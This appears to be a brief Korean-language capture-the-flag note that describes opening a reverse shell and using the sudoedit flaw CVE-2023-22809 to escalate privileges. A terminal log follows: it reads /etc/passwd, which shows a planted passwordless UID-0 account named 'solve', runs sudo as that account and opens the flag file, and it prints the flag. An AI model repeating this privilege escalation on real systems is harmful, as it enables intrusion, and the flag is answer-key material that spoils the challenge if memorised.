리버스쉘 연 후 CVE-2023-22809 취약점 활용해서 권한 상승 후 파일 읽기

user@25b18cbab7e2:~$ cat /etc/passwd
cat /etc/passwd
r
solve::0:0:/root:/bin/sh

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
user:x:1000:1000::/home/user:/bin/sh
user@25b18cbab7e2:~$ sudo -u solve ls secret/flag.txt
sudo -u solve ls secret/flag.txt
secret/flag.txt
user@25b18cbab7e2:~$

이후 vim으로 열어서 읽기
scpCTF{surry_7his_is_re4l_5upern0v4}
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~       ^[[2;2R^[[>0;95;0c^[]10;rgb:ffff/ffff/ffff^G^[]11;rgb:0000/1313/1919^G                                                              ~
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"secret/flag.txt" 1L, 37C                                     1,1           All

scpCTF{surry_7his_is_re4l_5upern0v4}